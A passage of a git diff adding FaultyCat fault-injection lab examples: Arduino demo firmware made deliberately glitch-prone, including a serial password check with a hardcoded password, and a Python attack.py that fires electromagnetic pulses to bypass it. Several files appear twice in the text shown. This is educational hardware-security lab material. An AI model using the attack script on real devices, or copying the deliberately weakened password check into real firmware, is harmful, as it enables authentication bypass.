Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + 